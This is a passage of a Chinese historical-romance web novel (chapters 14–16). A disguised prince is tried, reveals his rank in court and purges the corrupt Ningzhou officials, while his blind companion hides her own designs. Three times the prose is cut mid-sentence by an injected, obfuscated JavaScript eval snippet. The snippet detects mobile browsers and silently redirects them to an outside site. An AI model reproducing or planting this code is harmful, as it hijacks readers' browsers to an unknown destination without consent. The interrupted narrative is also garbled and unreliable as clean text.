“我不嫌弃你,也从未嫌弃过你。出身非你能选,你的真心,我更不敢辜负。” 燕绥之将哭得梨花带雨,浑身轻颤的云潋搂得更紧,“你信我,明日我定会安然无恙。” 云潋小心翼翼追问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156592|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当真?” “千真万确。” 云潋不依不饶,“那你跟我起誓,说你不是在诓骗我。” 燕绥之将怀中的云潋调转方向,让她将头抵在他的胸前,听他“咚咚”作响的心跳声,伸出三根手指,“我跟你保证,明日我就会出去见你,绝不是在用花言巧语诓骗你。” 云潋立刻欢喜的从燕绥之怀中起身,笑脸盈盈,“好,明日我亲自下厨,咱们好好庆贺一番。” 燕绥之见她重展笑颜,笑着应承:“好。” 送走云潋,燕绥之抚着云潋备下的新衣,想起她临走前的叮嘱“明日你穿新衣出现,定会给知府大人和围观百姓留个好印象”,不由得心头一暖。 “好一出郎情妾意、情意绵绵的好戏,真是闻者伤心,听者落泪。” 燕绥之听到熟悉的声音,起身走到牢栅边,“堂兄让我好等。” 裴舟望立刻俯身行礼,“臣参见......” 燕绥之伸手阻止裴舟望下拜的动作,示意他狱中眼线众多,莫要在此刻暴露身份。 两人在狱中低声部署好明日的计划,只待明日将宁州官场的贪官恶绅一网打尽。 云潋刚一出牢狱大门,就看见刚才同她一同进去的刘芳携两个孩子等在石狮子旁。 一见到她,刘芳立刻上前打招呼:“妹子,方便聊聊吗?” 云潋有几分愕然,最后还是与她一同去了附近的茶肆,刚一落座,云潋轻声吩咐:“静梅,你带着孩子们买些糕点。” “是,小姐。” 静梅领着两个欢喜的孩子离开后,刘芳率先开口:“妹子,我不是有意偷听你和你家那口子聊天,我也知道我和你刚相识,不知你们之间的过往,实在不该多嘴多舌。” 云潋接过刘芳放在她手中的茶碗,手指抚着茶碗的豁口,语气轻柔:“刘姐,我知道您是好心,还特意等我出来。有什么话,你大可直说,我不会生气。” 听云潋这么说,刘芳才放心,轻声说:“妹子,你男人和我家那口子犯的是死罪。我和大勇成婚十载,上有公婆要孝敬,下有两个孩子嗷嗷待哺,我脱不开身,这辈子也就是被他们王家栓死的命。可你不一样,你长得如花似玉,又这么年轻,何必在这一棵歪脖子树上吊死呢?” 云潋自是无法跟刘芳解释她的心计,只好抱着碗默不作声。 刘芳以为云潋还在钻牛角尖,接着劝道:“妹子,你这样的长相,到哪里都惹眼,男人成群结队的扑上来,你根本无法自保,更别提还带着个孩子。守节?村里那些混蛋,有的是龌龊手段逼你。你现在爱他爱的要死,可以为他付出一切。可明日他真死了,魂魄能护得住你吗?你听姐一句,该自私就自私些,千万别为了一个男人,白白搭上你一辈子。趁着你还年轻,赶紧寻个靠山,才是最要紧的。” 云潋明白,刘姐这番话是掏心窝的肺腑之言,她感念她的良善,语气越发温柔:“谢谢刘姐为我着想,我会认真考虑的。” 刘芳见云潋似乎被她说动,很是欢喜,“这就对了。” 刘姐劳作多年,手掌上皆是硬茧,搭在云潋手背,微微有些刺痛。 可云潋的心却被这份善意感动,主动提议让刘姐随她们回客栈,明日一早一同去府衙。 刘芳几番推辞无果,最终还是因为囊中羞涩,同意去云潋的房间借宿一宿。 她们几人刚进客栈大门,就被一脸为难的牙婆王氏与满脸不耐烦的贾管事堵个正着。 贾管事一见云潋露面,立刻指挥仆从上前去抓云潋,“动手!” 静梅神情慌乱,下意识将云潋护在身后,口中高呼:“我们已经脱了贱籍,改入良籍,有官府文书为证,你们凭什么胡乱抓人!” 贾管事懒得解释,冷漠道:“哪有收了钱,却不肯出力的道理。将这婢女一并带走!” 14. 第 14 章 下一瞬,仆从们抓着绳子一拥而上,想要将云潋与静梅一网打尽。 静梅神情越发紧张,却固执地站在云潋身前。 刘芳虽然搞不清事情的原委,却还是紧紧护在云潋身后,“妹子,你别怕,我整日砍柴烧水,有的是力气。” 云潋在心中暗数几个数字,果然,下一瞬,三个身着墨色衣衫的蒙面男子从二楼一跃而下,三下五除二便将一众仆从打翻在地。 客栈一楼的客人们起初还凑在边上看热闹,现下看他们竟然真的交手,桌椅板凳、酒壶碗碟碎了满地,瞬间尖叫着落荒而逃。 掌柜和小二望着一哄而散的宾客们,满面愁容,缩在角落,对想要逃跑的宾客念叨着:“客官,结账!结了账再走啊!” 见老板还计较钱银,小二赶紧劝慰:“哎呦,掌柜,他们带着刀呢。您就别计较这点儿银子了,保命要紧!” 老板这才反应过来,朝大堂探头张望,见抓人的是刘同知府上的管事,而与他们对抗的几个男子各个身形魁梧,气场冷峻,彻底不再留恋身外之物,顺着墙根朝后厨跑去。 贾管事的脸色冷下来,看着躺倒在地的仆从们,厉声道:“躺在地上干什么?还不赶紧起来!” 仆从们疼的“咿呀”哀嚎,互相搀扶着才勉强站稳,一看便知无再战之力。 牙婆王氏见贾管事脸色不虞,为保日后的生计,适时上前劝道:“云潋姑娘,陈妈妈可是收过钱的,您可不能翻脸不认人,不然陈妈妈那边也不好和刘大人交待呀。” 云潋这才出声:“陈妈妈收了刘大人的钱银不假,可刘大人转手将我送了出去。我替他侍候贵客,何曾放弃履约?身契是刘大人给的,文书的印章是府衙盖的,现下我和静梅已经是自由身。刘大人今日又反悔,准备强掳我们主仆二人回去,岂非出尔反尔,强人所难?” 云潋所言非虚,在座的每个人都心知肚明,却都想将错就错。 毕竟只要牺牲她们主仆二人,便能皆大欢喜,何乐而不为呢? “你们身处宁州一日,就要受刘大人管辖一日。没有刘大人的首肯,我不信有谁敢私放你们出城。你便好好守着你那个将死的夫君吧!希望明日之后,你还能这般嚣张!” 面对贾管事的威胁,云潋根本不怵,“谁说我要走?我家夫君在哪儿,我便随他在哪儿。云潋虽身份低微,却也知信义二字。既然我已经委身于我家夫君,那生是他的人,死是他的鬼。至于我日后是否会后悔,何去何从,就不劳贾管事费心了!” 贾管事见今日讨不到好处,负气甩手离开,留下一句:“你和陈妈妈谁都别想跑,咱们走着瞧!” 云潋不再理会那些丧家之犬,转头询问静梅和刘芳,“你们还好吗?可曾受伤?” 静梅牵着云潋的手,低声给她解释:“我们无碍,小姐,多亏了这几位大哥救了我们。” 云潋赶紧道谢,盈盈下拜,“多谢几位义士搭救!” 三名暗卫并不搭话,转头飞上二楼,不见踪影。 “小姐,他们走了。” 云潋本就是暗卫出身,深知暗卫不可随意向外人展露身份,更不可随意与被保护者产生交集,今日若非情况危急,他们是万万不会贸然现身。 云潋感慨道:“侠义之士,令人敬仰。是我们好运,幸得义士搭救。只可惜没能当面道谢,送上酬金,实属遗憾。” 刘芳心疼的牵着云潋的手,“妹子,你受了这么大的惊吓,还是先回去歇歇吧。” “那就劳烦刘姐送我回地字号房。” 云潋余光一扫,便瞥见坐在角落冷眼旁观的裴舟望,她无暇理会他略带玩味与审视的目光,轻声吩咐静梅,“静梅,你将损坏的桌椅与杯盘照价赔给掌柜。” “是,小姐。” 静梅目送刘芳搀扶着云潋上楼,从怀中掏出顺袋,唤出躲在后厨的掌柜,与他一一对账后,付了十六两银子,“两清了。” 掌柜感激不已,拱手致谢:“姑娘仁义,感激不尽。” 静梅上楼后,掌柜凑到裴舟望身边,低声道歉:“这位公子,今日小店横生祸乱,扰您用膳了。这样吧,稍后我命人送一桌菜肴到您的房间,权当赔罪,您看可好?” “不必了。” 掌柜以为裴舟望并不满意,又不敢得罪这位贵人,赶紧加码,“那我再给您免三日的食宿。” “听枫。” 裴舟望纤长白皙的手指在桌上轻轻一敲,身旁的侍从听枫立刻奉上两张一百两的银票。 裴舟望冷冷开口:“我要包下整间客栈,我在一日,你便闭门谢客一日,我不想再看到今日这些腌臜泼皮在我眼前乱晃。” 掌柜握着银票满心欢喜,可随后又望向楼上,有些为难道:“可您隔壁的云姑娘也提前付过房钱,她现下遇歹人骚扰,若将她们主仆赶出去,我实在于心不忍。要不......我退您一半银子,您好心通融下,留她在此落脚,可好?” “随你。” 裴舟望起身上楼,他身后的听枫也并未接过掌柜退回的银票。 信鸽整夜传递消息,城外静候的皇子近卫整装待发,待第二日城门一开,便按照燕绥之与裴舟望的部署,提前埋伏在宁州官员们的府邸外,只待一声令下,抄家下狱,毫不手软。 听枫进屋后,将拖盘上的餐食一一摆好,随后凑到案几前唤整夜未眠的裴舟望,“少爷,该用早膳了。” 裴舟望在桌前落座,接过听枫递来的湿帕子仔细擦拭双手,见桌上摆着些清粥小菜,一盅鸡汤正冒着热气,香气扑鼻,纳罕道:“怎么一大早就喝汤?” 听枫一边给少爷布菜,一边解释:“是隔壁那位云姑娘送的。天色未亮时她就带着婢女在后厨操持,说是给她家夫君做接风宴。我去取早膳,她从掌柜那边知道咱们包下客栈的事情,她感激咱们收容,特意盛了一盅鸡汤,让我送来给您尝尝。” 裴舟望将勺子重重放在桌上,冷哼一声,“哼,她倒谄媚。” 眼见自家公子情绪起伏,善解人意的听枫赶紧俯身去收鸡汤,免得公子觉得碍眼。 裴舟望盯着奶白的汤底出神,不等听枫盖上盖子,又改变主意,拿起勺子舀起一勺鸡汤,送入嘴中。 汤底醇厚,味道鲜美,一看便知精心炖煮许久,鸡肉一抿脱骨,软烂顺滑,裴舟望竟然不知不觉将一整盅鸡汤吃个干净。 裴舟望用帕子擦嘴时,见听枫有些揶揄地偷偷看他,有几分不自在,嘴硬道:“我熬了整夜,胃中空虚,这才喝些鸡汤暖胃。” 听枫如何不懂自家公子傲娇的性子,不敢招惹他,只轻声回:“我看她们在后厨还备了许多菜,咱们还能跟着殿下蹭上一顿晚膳,也算是有口福了。” 裴舟望眉头紧皱,没好气道:“一个盲女,出入不便,却窝在烟熏火燎的后厨,也不怕烫到。也是个不爱惜自己的人,一味只想对夫君掏心掏肺,是个没什么大志气的。” 云潋随彻夜未眠的刘芳一同去了府衙,早早占据有利地形。 因燕绥之假冒官员,以及协同王大勇撺掇河工们逃役之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156593|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事在宁州城内闹得满城风雨,不少百姓围在府衙外凑热闹。 静梅和刘芳小心护在云潋两侧,却还是不时有往前挤的百姓险些碰到云潋,静梅紧紧抓着云潋的手臂,对周遭的百姓抱怨:“小心些,挤到人了。” 一个满脸横肉的大汉对着静梅冷哼道:“瞎子就别出来碍眼,麻烦!” 静梅气不过,反口喊道:“你......无赖!” 云潋被送给假御史的事情闹得人尽皆知,众人皆感叹一朵鲜花插在了牛粪上。因刘大人一时失察,致使明珠暗投。 自燕绥之入狱以来,不少人暗戳戳想伺机接近失去庇佑的云潋,收她进后院。谁知她昨日在大庭广众下发誓要为犯人守贞,众人皆大失所望,可惜没有机会成为云潋的入幕之宾。 换做往日,大汉自是没有钱银接近云潋,可如今云潋落难,他幸灾乐祸,嘴不饶人。 “盲妓就是上不得台面,在我们面前装什么千金小姐。满心欢喜的攀高枝,谁知脸先着地,摔个狗啃泥。要我说,你还不如跟了刘老爷,起码不用像现在这样抛头露面。” 静梅撸起袖子就想打他,可云潋适时回头,似是早已习惯被人称呼“瞎子”,被人轻贱羞辱,面上平静无波。 “静梅,算了,别同这种人计较。” 裴舟望站在后排,见云潋几次险些被身后的百姓挤个趔趄,无奈地叹了口气,悄悄挤进人群,在云潋身后站定,冷冷望向满嘴污言秽语的大汉。 “你又算是什么东西,还不滚?” 大汉矮胖,又欺软怕硬,他见裴舟望和听枫人高马大,听枫手握佩剑,似乎下一瞬就要抽出来砍他,他不敢多言,立刻灰溜溜地离开了。 静梅轻声跟云潋说:“小姐,是隔壁天字号房的那位公子。” 云潋转身对着裴舟望行礼,低声道谢:“多谢公子仗义执言。” 裴舟望第一次离云潋这般近,她身上的玫瑰香气直往他鼻腔钻,他有些不自在的后退半步,故意冷声道:“我只是看不惯他欺凌弱小,与你无关。” 云潋没有接话,只温柔笑笑,在静梅的搀扶下转过身去。 同知刘大人、通判王大人皆恭敬地站在大堂上等候知府曾闻仕与师爷许仲宏,衙役分立两侧,待他们二人出现,齐声高喊:“升——堂——” 曾闻仕缓步行至公案后落座,待许仲宏与刘王两位下属按部就班坐在下手,他一拍惊堂木,严肃道:“带犯人!” 燕绥之和王大勇身着干净的衣衫,发丝亦是梳得一丝不苟,二人被狱卒押解着走向大堂时,只听闻人群中传来两声呼唤,顺着声音望去,果然各自看到想见之人。 云潋满脸担忧,语气轻柔中带着几分紧张,“公子......” 虽然知晓云潋看不见,可燕绥之却还是对着云潋展露笑颜,握着她的手轻声宽慰:“我无碍,你且宽心。” 衙役用木棍将云潋主仆往后压,不准她们继续向前,狱卒则高声呵斥两个犯人:“还不赶紧走,磨蹭什么!” 王大勇依依不舍地摸了摸两个孩子的头,又和妻子对视一眼,随后便被狱卒拉走,强按着跪倒在堂前。 押送王大勇的狱卒高声回禀:“禀知府大人,逃役王大勇带到!” 另一个狱卒连燕绥之的名字都不知道,且无论他怎么推搡、威胁,燕绥之都不肯下跪,始终身姿笔挺,神情傲然。 众目睽睽之下,堂上的几位老爷的面子有些挂不住,同知刘大人率先开口:“大胆嫌犯,面见父母官,为何不跪?” 15. 第 15 章 燕绥之挺胸抬头,望向刘大人时满眼鄙夷,“凭你也配?” 刘大人面色铁青,当初在御史府邸时他对着眼前人点头哈腰,虽心有不舍,却忍痛割爱,将重金买下的美人送与他梳拢,态度堪称谦卑。 想他横行官场数载,也算是见多识广,临老却被一个无名少年戏耍,落得个人财两空,百姓耻笑的境地,简直是老脸不保。 如今这少年脚带镣铐,公堂之上却依旧狂妄自大,全然不将他放在眼里。 刘大人怒火攻心,甚至忘了今日升堂审案应由知府曾闻仕主导,下意识去抓邢签,手却扑个空,他没来得及细想,怒声训斥:“你无功名傍身,凭什么不跪?来人,给我打!先打他个三十杖,杀杀他的锐气!” “谁敢!”衙役拿起杀威棒,就要上前制住燕绥之,谁知燕绥之一声厉和,“待我问你,我前来赴任之时,携带的官凭是真是假?” 刘大人此刻才稍稍冷静下来,意识到自己越俎代庖,心有余悸地望向坐在上方的知府曾闻仕,只见曾闻仕轻轻启唇,“官凭是真。” 燕绥之冷哼一声,“既然官凭为真,又为何说我假冒巡察御史,可有何凭证?” 刘大人和王大人听到曾闻仕说官凭是真时,一时慌了神,同时开口询问:“知府大人,这......” 将人抓捕归案后,羁押审问案犯,查封御史府邸,皆由知府大人及师爷许仲宏一手包办,没人告诉过他们这人带来的官凭是真的呀! 见曾闻仕冷着脸不肯说话,王大人在刘大人的示意下慌张解释:“吴老爷和裴家乃是故交,常与裴家走动,怎会认错裴大公子!圣上任命的巡察御史是裴舟望,你既然不是裴大人,岂不就是冒名顶替,犯下死罪!至于这真官凭从何而来,许是你从裴公子那里偷的也不一定!” 前来作证的吴老爷撑着拐杖站在堂前,在刘大人的示意下连连点头附和,中气十足:“没错,我绝不会认错人,你根本就不是裴公子,是个彻头彻尾的冒牌货!” 吴老爷的作证大大增强了王大人的信心,他慷慨激昂,越说越快:“再者说,哪个巡察御史会傻到与逃役的河工沆瀣一气。若圣上追究起来,岂非自寻死路。你这宵小,先是偷盗官凭,冒充官员出入府衙,随后又混进河工队伍鼓动河工逃役,件件桩桩皆是死罪。说,你究竟姓甚名谁,是谁派你来宁州招摇撞骗的?” 眼见王大人将事情捋顺,刘大人的脸色稍缓,冷声道:“证据确凿,你如何抵赖!来人,给我打!” 云潋紧张地抓紧静梅的手,焦急低语:“怎么办?到底该怎么办?” 衙役们再次拎着杀威棒蠢蠢欲动,紧要关头,只听得人群中传来一声疾呼:“且慢!” 原本还等着看打板子的百姓朝声音的来源望去,只见一个身着月色衣衫的俊俏男子缓步走到人前,扯下身前令牌,高举在堂前几位大人眼前。 裴舟望的声音顿挫铿锵:“在下裴舟望,新晋宁州巡察御史,如约前来赴任。特来求见宁州知府曾闻仕,曾大人。” 一句话宛若惊雷,在堂前炸响,人群中瞬间爆发出阵阵议论声:“难道这就是乙未年的那位状元郎?” “怎么又来了一个裴大人,这个是真是假呀?” 刘大人与王大人对视一眼,立刻起身,凑到近前辨认,见应声望去的吴老爷激动地唤眼前的男子为“裴郎”,皆神色大惊,赶忙上前迎接。 “裴大人,久仰大名!” “吴世伯。”裴舟望携听枫进入大堂,率先拱手同吴老爷行礼问安,随后才转身应承刘大人的问候,说明来意,“下官今日刚一入宁州城,便听闻府衙现下在审一桩与在下休戚相关的案子,便闻讯前来一观,多有叨扰,望众位同僚海涵。” 曾闻仕亦紧随其后,走过来与裴舟望寒暄两句,“裴大人远道而来,稍后本官命人备下酒席,为大人接风洗尘。” 裴舟望拱手致歉,“怎敢劳曾知府破费,望大人莫要嫌弃下官来迟便好。” 曾闻仕神情平和,语气平淡:“怎会。” 刘大人终于见到这位政坛新秀,赶忙抓紧机会讨好,谄媚道:“大人来的正是时候,离赴任之期还有三日呢。裴大人此次来宁州赴任,离故乡贺州如此近,自是要先归家探望,在大长公主跟前尽孝。倒是我等粗心,让这偷盗官凭的贼人钻了空子,惹出诸多祸端。如今大人已经就任,一切水落石出,那这贼人便押解入狱,秋后问斩吧。几位大人觉得可好?” 王大人赶忙附和:“下官觉得甚好。” 曾闻仕与裴舟望均不表态,摆明是想高高挂起,不想出面做这个恶人,刘同知心领神会,主动替知府背下这桩丑闻,只为借此博得两位贵人的欢心。 刘大人伸手唤衙役羁押燕绥之与王大勇,“来人,压下去。” 裴舟望却抬手制止衙役上前,饶有趣味道:“这人能瞒天过海,想必是有些神通。不如让我见上一见,问问这官凭从何而来。也好让我这失主,来日跟陛下与上司有个交代。” 刘大人赶紧劝道:“大人何必如此费时费力,丢官凭之事,我等自会守口如瓶,绝不会给大人惹出祸端。” 王大人佝偻着腰,连连附和:“没错,大人英明神武、爱民如子,宁州百姓皆盼着您来呢,自是不敢有人胡言乱语。” “哦?”裴舟望睨了刘大人一眼,故作犹豫,“可来日刑部复核,陛下勾决时看到案卷,终归是......不妥。” 刘大人瞥了曾闻仕一眼,见他没有异议,笑着回道:“案卷上自是不会有偷盗官凭一事出现,胡乱给他换个罪名,并入逃役一案,刑部那边自然能搪塞过去。” 裴舟望神色越发冷峻,口中却尽是感谢之辞:“初到宁州就承几位大人如此厚意,下官实在惶恐。” 刘大人以为裴舟望已然同意他的提议,笑得畅快,“同朝为官,自是要和光同尘。区区小事,裴大人不必挂怀,日后我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156594|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等还少不得需要令尊与大人照拂、指导。” 裴舟望皮笑肉不笑,冷声回道:“这是自然。” 原本还剑拔弩张的大堂上如今却一团和气,那位备受期待的巡察御史初到宁州便与那些贪官沆瀣一气,围观百姓愠怒,愤愤不平,却都敢怒不敢言,皆失落的意欲转身离去。 “完了,全完了。” “从来如此,还在期待什么。” 云潋和刘芳见木已成舟,皆暗自垂泪。 王大勇听见大堂外妻儿凄厉的哭声,亦是跟着红了眼眶,素来挺直的背脊瞬间弯了下去。 燕绥之一声质问却让百姓停住脚步,“篡改案卷、同流合污、罔顾国法,诸位大人就是这般为宁州百姓伸张正义的吗?” 短短数语,石破天惊。 百姓见此事尚有转机,又纷纷凑回来静待后续。 “死不悔改!”一派祥和之景,却被人生生打断,刘大人深感愤懑,再也受不了燕绥之的挑衅,转身要打,“你这小杂种,没完没了纠缠,老爷我今日定要剥了你的皮!” 刘大人高举到燕绥之面前的手掌尚未落下,却被身旁的裴舟望生生拉住手腕。 刘大人不解地望向身侧体型高大的裴舟望,却见裴舟望满脸震惊,似是反应过来,迅速撩开外袍,单膝跪地,拱手高呼:“臣宁州巡察御史裴舟望,参见二殿下,殿下千岁千岁千千岁!” 此话一出,满堂皆惊。 曾闻仕最先反应过来,师爷许仲宏紧随其后,跪地叩首。 衙役、狱卒、王大人、吴老爷、王大勇,以及门外围观的一众百姓,皆跪地齐呼:“参见二殿下,殿下千岁千岁千千岁!” 在场只余云潋和刘大人依旧站在原地,不知作何反应。 静梅跪在地上,轻轻拽着云潋的衣袖,轻声提醒:“小姐,您得跪下。” 云潋似是这才从惊慌中反应过来,缓缓躬身下拜。 燕绥之将云潋的神情与反应看在眼里,他不曾告诉她真实身份,就是不想让她畏惧他、与他疏远,如今他的身份公之于众,只怕她会后悔曾经对他掏心掏肺,与他谈天说地。 跪地叩首的百姓中,不少好奇心重的孩子悄悄抬头窥视燕绥之,却被惊慌不已的父母按着头强压下去,用气音呵斥:“再看,殿下把你眼睛挖了。” 燕绥之不再望着云潋愣神,此时刘大人终于从恐惧中回神,跌坐在地,随后连滚带爬的跪到燕绥之脚边,哀嚎着:“下官有眼不识泰山,对殿下出言不逊,实在该死!” 说着,见燕绥之像看垃圾一般鄙夷地望着他,刘大人又惊又怕,为求活命,他涕泪横流,双手左右开弓,不停扇自己的脸,清晰的巴掌声在空旷的大堂内尤为明显,不多时他的脸便红肿不堪,活像个猪头。再无刚才那般耀武扬威,以权压人的高傲姿态。 “下官是头脑发昏,才会做出种种蠢事,对您口不择言。求殿下宽宏大量,饶过小人吧!” 16. 第 16 章 燕绥之并未理会伏在他脚边嚎啕大哭的刘良才,待裴舟望接过狱卒递来的钥匙,替他打开手镣与脚镣后,才缓步走到大堂上,在正中落座,对跪伏在地的众人说道:“平身。” 大堂上静谧无声,所有人都默默垂首,静待燕绥之发话。 “孤隐姓埋名视察宁州,潜伏在河工队伍,就是想深入了解宁州百姓疾苦,整改官场风气。宁州官员本该尽忠职守,报效朝廷,然尔等贪墨害民、专权乱政,逾制奢靡、罔顾民生、受贿枉法,现革除宁州同知刘良才,通判王廷秀职位,抄没财产,羁押待审。” 刘良才与王廷秀被衙役拖走,走之前还不忘高呼“冤枉”,表现得如同受了天大的冤屈一般。 可百姓看到此等情形,却都拍手称快,望向燕绥之的眼神都带着崇拜。 曾闻仕见此情状,立刻跪地,朗声致歉:“臣对下属监管不力,辜负皇恩,请殿下降罚!” 燕绥之却并未说话,仿佛在等待什么。 不多时,带皇子亲卫前去官员家中搜查的沈烁与楚执带着一众物证回来,搜罗出来的账本、珠宝、金银成箱的被搬进大堂,将大堂上摆的满满当当。 沈烁跪在堂下,朗声回禀:“臣今日携亲卫搜查宁州大小官员府邸共六十五座,皆发现不同程度的受贿现象。按照您的吩咐,已将赃物登记造册,涉案官员及其亲眷下狱待审。” 燕绥之翻看着账册,点头称赞:“亲卫队今日当居首功,回去后务必要论功行赏。” 沈烁面露喜色,朗声回道:“谢殿下赏赐!” 燕绥之又转头对裴舟望降下旨意:“裴卿奉命巡察宁州,现今宁州官员相互勾连、贪赃枉法之事已有实证。望卿尽快梳理证据、监督审讯,将案情始末汇集成奏章,直呈给陛下审阅,恭请父皇示下。卿亦需敦促吏部尽早委派新的官员前来赴任,莫要耽误宁州府衙正常运行。” 裴舟望跪地领旨,“臣谨遵殿下旨意,定会竭尽所能,还宁州官场清明。” 等燕绥之与裴舟望对话结束后,楚执十分郑重的将一个木匣放在案几上,低声回禀:“启禀殿下,这箱子是从曾知府书房的密室中搜出的密信,兹事体大,还请殿下亲自查阅。” 楚执心细如发,因此也是由他初步审阅大部分证据,果然发现许多不易察觉的蛛丝马迹。 燕绥之接过密信,粗略读了几封,神情越发严肃,抬头看向曾闻仕时眼冒火光。 可通敌叛国、与朝中重臣结党营私之事,自是不能随意宣扬,以免引起百姓恐慌。 “仔细收好。”燕绥之命楚执收好木匣,随后高声宣判,“来人,将知府曾闻仕、师爷许仲宏押入大牢,改日孤要亲自审问。” 百姓对此颇为不满,毕竟曾闻仕这三年在宁州做下不少实事,眼见二皇子要将为国为民、鞠躬尽瘁的父母官下狱,围观的人群中立刻爆发出激烈的讨论声。 “殿下,曾大人是好官呀!” “殿下,您就原谅曾大人吧!” “宁州需要曾大人,他比那些贪官污吏强千倍万倍,求您别再追究了!” 眼见百姓再次跪地求情,揽着曾闻仕的狱卒也生出恻隐之心,暗中放水,任由曾闻仕在百姓面前停留片刻。 “我曾某愧对宁州百姓。”曾闻仕声音极轻,话是对百姓说的,可视线却始终落在云潋那张隐忍的脸上,他有千言万语要讲,最后也只化为一声喟叹,“日后,望诸位善自珍重,所求之事——皆如愿。” 曾闻仕的话没头没尾,不再理会无数跪地殷切哀求的百姓,垂首朝着牢房方向走去。 脚下的铁链叮当作响,沉重的枷锁压在曾闻仕肩头,可他却始终挺直背脊。 云潋情绪不稳,她咬紧牙关,生怕自己下一瞬便会忍不住冲进去,可她掐紧掌心,终究是决绝地转身离去。 见云潋含泪离开,燕绥之下意识想起身去追,可王大勇一番话打断了他起身的动作。 “小人名为王大勇,斗胆谏言!” 燕绥之本就有意解决重修堤坝之事,饶众河工一条性命,见王大勇主动开口,他轻声准允,“讲。” “殿下前几日与河工们同吃同住,和小人一同被抓下狱,想必已然知晓小人与其他河工们的遭遇。这些年宁州官员随意征召苦役,克扣河工伙食,对我们动辄打骂。服重役本该发工钱,可他们不仅不给,还变着花样的给我们加税。同为岱国子民,大家并非不愿为国效力。可那堤坝像纸一样薄,就是个空架子,除了白白往里面填命,让那群官老爷中饱私囊,实在是没有半分效用。” 王大勇警惕地抬头观察着燕绥之的神情,见他神情肃穆,并无怒意,才敢继续说。 “国法森严,不容践踏。小人深知组织河工逃役,罪该万死,因而不敢奢望苟活于世。可小人临死之前仍想恳求殿下,求殿下为宁州百姓做主!求殿下为宁州重修堤坝,替百姓寻个活路!”王大勇越说越激动,将头重重磕在地上,“若以小人一命,换千万河工的未来,换宁州数年安宁。小人虽死,亦无憾!” 王大勇一番热血发言,瞬间让宁州百姓激动起来,从不停给曾闻仕求饶,改为口中高呼:“求殿下为宁州百姓做主啊!” 燕绥之听着百姓山呼海啸般的请愿声,一拍手边的惊堂木,大堂瞬间恢复安静,百姓个个噤若寒蝉。 堂上的燕绥之正襟危坐,年仅十七岁的他虽稍显稚气,可一言一行却极具震慑力。 “被抓那日孤就说过,是孤组织了那场集体逃役,与你无关,你自然无需担责。” 燕绥之轻轻抬手,沈烁便接过狱卒手中的钥匙,为王大勇解开枷锁。 王大勇活动几下酸痛的手腕与脚腕,随后满脸喜色的跪地致谢:“殿下英明神武,谢殿下大恩!” 血洗宁州官场已成定局,在下一任官员们到任前,如何帮助宁州稳定局势,顺利完成权力过渡,才是接下来要操心之事。 而宁州水患频发,此事一日不解决,宁州便无一日宁日。 面对百姓们的殷殷期盼,燕绥之承诺:“孤已经叫停修建堤坝一事,命人释放河堤上被困的河工。旧堤坝不日就会拆除,至于重修堤坝之事,孤亦会给诸位一个交代。” 重修堤坝一事有燕绥之监督,自然无人敢糊弄了事,等了二十来年,宁州百姓总算不必再为汛期决堤一事日日忧心,自然对燕绥之感恩戴德。 人群散去,望着十几个盛满账目与金银的木箱,燕绥之与裴舟望干脆坐在大堂之上一一翻阅核对。 不到两柱香的功夫,只见一个亲卫小跑着进来传信,“启禀殿下,客栈传来消息,云潋姑娘已经收拾好行囊。暗卫那边想请示您,是否准许她们主仆二人离开。” 燕绥之立刻变了脸色,扔下手中的账册,疾步朝大门走去。 “务必要将她留住,快带孤过去!” 裴舟望看着步履匆匆的燕绥之,暗叹他被云潋乱了心神,那女子摆明是要以退为进,名正言顺的留在他身边。 堂弟素日那般冷静机敏之人,何等狠辣多变的手段不曾见过,竟然沦落到被这盲女玩弄在股掌之间。 看来情爱之事,当真能让人彻底失去理智。 云潋为曾闻仕入狱之事烦躁不安,可偏偏又不得不耐着性子与燕绥之虚与委蛇,演出一副失魂落魄、被欺骗而暗自神伤的痛苦模样。 因而当暗卫出面拦住她的去路时,她难得忘记伪装,冷着脸,语气生硬:“让开。” 两名暗卫高举着手臂,将地字号房门堵得严严实实,无论云潋和静梅说什么,他们都寸步不让,翻来覆去就是那两句话:“云姑娘,殿下已经从府衙赶回来,请姑娘在屋内稍等片刻。” 静梅见小姐受欺负,主动出头,言辞犀利狠辣:“你们殿下扮作巡察御史,将我家小姐耍得团团转,看着我们为他入狱的事情急得像热锅上的蚂蚁,也坚持不肯暴露身份,说到底不就是在防着我们吗?你们放心,我家小 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今日燕绥之在府衙处理事情有条不紊、雷厉风行,引得不少百姓追随在他身后,想一睹皇子风采。 掌柜见客栈外人声嘈杂,命小二前去打听情况,小二机灵,回来后很快帮着掌柜理清人物关系。 当听闻住在天字号房那位包下客栈的男子是新任巡察御史裴舟望后,掌柜心头一惊。 